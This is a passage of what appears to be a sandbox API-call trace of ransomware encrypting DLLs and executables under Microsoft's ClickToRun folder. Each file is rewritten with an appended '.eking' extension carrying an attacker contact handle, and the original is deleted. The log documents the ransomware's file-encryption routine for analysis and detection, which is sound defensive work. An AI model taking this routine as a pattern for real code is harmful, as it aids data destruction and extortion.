lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0277.243] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x2f0 [0277.244] ReadFile (in: hFile=0x2fc, lpBuffer=0x36f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f914, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesRead=0x324f914*=0x52c0, lpOverlapped=0x0) returned 1 [0277.248] WriteFile (in: hFile=0x2f0, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x52d0, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x52d0, lpOverlapped=0x0) returned 1 [0277.250] WriteFile (in: hFile=0x2f0, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x112, lpOverlapped=0x0) returned 1 [0277.250] CloseHandle (hObject=0x2fc) returned 1 [0277.250] CloseHandle (hObject=0x2f0) returned 1 [0277.250] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll")) returned 1 [0277.252] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0277.252] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=19136) returned 1 [0277.253] CloseHandle (hObject=0x2f0) returned 1 [0277.253] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll")) returned 0x20 [0277.486] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll")) returned 0x20 [0277.486] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0277.487] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0277.487] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0277.488] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0277.488] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x2e4 [0277.489] ReadFile (in: hFile=0x2e0, lpBuffer=0x36f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f914, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesRead=0x324f914*=0x4ac0, lpOverlapped=0x0) returned 1 [0277.495] WriteFile (in: hFile=0x2e4, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x4ad0, lpOverlapped=0x0) returned 1 [0277.497] WriteFile (in: hFile=0x2e4, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x122, lpOverlapped=0x0) returned 1 [0277.498] CloseHandle (hObject=0x2e0) returned 1 [0277.498] CloseHandle (hObject=0x2e4) returned 1 [0277.498] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll")) returned 1 [0277.500] SetEvent (hEvent=0x2a0) returned 1 [0277.500] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0277.501] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=307416) returned 1 [0277.501] CloseHandle (hObject=0x2e4) returned 1 [0277.501] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll")) returned 0x20 [0277.501] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll")) returned 0x20 [0277.501] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0277.501] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.502] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0277.502] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=2118360) returned 1 [0277.502] CloseHandle (hObject=0x2e4) returned 1 [0277.502] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll")) returned 0x20 [0277.502] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 1 [0277.504] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.504] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll")) returned 1 [0277.504] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0277.505] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=468696) returned 1 [0277.505] CloseHandle (hObject=0x2e4) returned 1 [0277.505] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll")) returned 0x20 [0277.505] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll")) returned 0x20 [0277.505] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0277.505] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.505] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0277.506] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=396960) returned 1 [0277.506] CloseHandle (hObject=0x2e4) returned 1 [0277.506] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll")) returned 0x20 [0277.506] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll")) returned 0x20 [0277.506] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0277.506] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0277.506] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0277.507] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0277.507] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x2e0 [0277.507] ReadFile (in: hFile=0x2e4, lpBuffer=0x36f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f914, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesRead=0x324f914*=0x60ea0, lpOverlapped=0x0) returned 1 [0277.523] WriteFile (in: hFile=0x2e0, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x60eb0, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x60eb0, lpOverlapped=0x0) returned 1 [0277.897] WriteFile (in: hFile=0x2e0, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x102, lpOverlapped=0x0) returned 1 [0277.897] CloseHandle (hObject=0x2e4) returned 1 [0277.897] CloseHandle (hObject=0x2e0) returned 1 [0277.897] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll")) returned 1 [0277.903] SetEvent (hEvent=0x2a0) returned 1 [0277.904] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0277.904] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=473760) returned 1 [0277.904] CloseHandle (hObject=0x2e0) returned 1 [0277.904] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll")) returned 0x20 [0277.904] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll")) returned 0x20 [0277.904] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0277.905] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0277.905] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0277.905] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0277.905] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x2e4 [0277.906] ReadFile (in: hFile=0x2e0, lpBuffer=0x36f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f914, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesRead=0x324f914*=0x73aa0, lpOverlapped=0x0) returned 1 [0277.934] WriteFile (in: hFile=0x2e4, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x73ab0, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x73ab0, lpOverlapped=0x0) returned 1 [0278.163] WriteFile (in: hFile=0x2e4, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0x102, lpOverlapped=0x0) returned 1 [0278.163] CloseHandle (hObject=0x2e0) returned 1 [0278.163] CloseHandle (hObject=0x2e4) returned 1 [0278.164] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll")) returned 1 [0278.171] SetEvent (hEvent=0x2a0) returned 1 [0278.183] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0278.195] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=2285736) returned 1 [0278.195] CloseHandle (hObject=0x2fc) returned 1 [0278.195] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll")) returned 0x20 [0278.196] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 1 [0278.197] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0278.198] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f790 | out: lpNewFilePointer=0x0) returned 1 [0278.198] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f790 | out: lpNewFilePointer=0x0) returned 1 [0278.198] ReadFile (in: hFile=0x2fc, lpBuffer=0x36f1058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x324f79c, lpOverlapped=0x0 | out: lpBuffer=0x36f1058*, lpNumberOfBytesRead=0x324f79c*=0x40000, lpOverlapped=0x0) returned 1 [0278.276] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0xba038, lpNewFilePointer=0x0, dwMoveMethod=0x324f790 | out: lpNewFilePointer=0x0) returned 1 [0278.276] ReadFile (in: hFile=0x2fc, lpBuffer=0x3731058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x324f79c, lpOverlapped=0x0 | out: lpBuffer=0x3731058*, lpNumberOfBytesRead=0x324f79c*=0x40000, lpOverlapped=0x0) returned 1 [0278.560] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x1ee0a8, lpNewFilePointer=0x0, dwMoveMethod=0x324f790 | out: lpNewFilePointer=0x0) returned 1 [0278.560] ReadFile (in: hFile=0x2fc, lpBuffer=0x3771058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x324f79c, lpOverlapped=0x0 | out: lpBuffer=0x3771058*, lpNumberOfBytesRead=0x324f79c*=0x40000, lpOverlapped=0x0) returned 1 [0278.797] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f900 | out: lpNewFilePointer=0x0) returned 1 [0278.798] WriteFile (in: hFile=0x2fc, lpBuffer=0x36f1020*, nNumberOfBytesToWrite=0xc0122, lpNumberOfBytesWritten=0x324f8f8, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesWritten=0x324f8f8*=0xc0122, lpOverlapped=0x0) returned 1 [0279.003] SetEndOfFile (hFile=0x2fc) returned 1 [0279.004] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x1ee0a8, lpNewFilePointer=0x0, dwMoveMethod=0x324f798 | out: lpNewFilePointer=0x0) returned 1 [0279.004] WriteFile (in: hFile=0x2fc, lpBuffer=0x37b115a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x324f7a4, lpOverlapped=0x0 | out: lpBuffer=0x37b115a*, lpNumberOfBytesWritten=0x324f7a4*=0x40000, lpOverlapped=0x0) returned 1 [0279.007] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0xba038, lpNewFilePointer=0x0, dwMoveMethod=0x324f798 | out: lpNewFilePointer=0x0) returned 1 [0279.007] WriteFile (in: hFile=0x2fc, lpBuffer=0x37b115a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x324f7a4, lpOverlapped=0x0 | out: lpBuffer=0x37b115a*, lpNumberOfBytesWritten=0x324f7a4*=0x40000, lpOverlapped=0x0) returned 1 [0279.010] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f798 | out: lpNewFilePointer=0x0) returned 1 [0279.011] WriteFile (in: hFile=0x2fc, lpBuffer=0x37b115a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x324f7a4, lpOverlapped=0x0 | out: lpBuffer=0x37b115a*, lpNumberOfBytesWritten=0x324f7a4*=0x40000, lpOverlapped=0x0) returned 1 [0279.013] CloseHandle (hObject=0x2fc) returned 1 [0279.013] SetEvent (hEvent=0x2a0) returned 1 [0279.014] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0279.015] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324f940 | out: lpFileSize=0x324f940*=263896) returned 1 [0279.015] CloseHandle (hObject=0x2fc) returned 1 [0279.015] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe")) returned 0x20 [0279.015] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe")) returned 0x20 [0279.015] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0279.015] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0279.016] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0279.016] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f908 | out: lpNewFilePointer=0x0) returned 1 [0279.016] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x308 [0279.016] ReadFile (in: hFile=0x2fc, lpBuffer=0x36f1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f914, lpOverlapped=0x0 | out: lpBuffer=0x36f1020*, lpNumberOfBytesRead=0x324f914*=0x406d8, lpOverlapped=0x0) returned 1 [0279.202] WriteFile (in: hFile=0x308, lpBuffer=0x36f1020*, 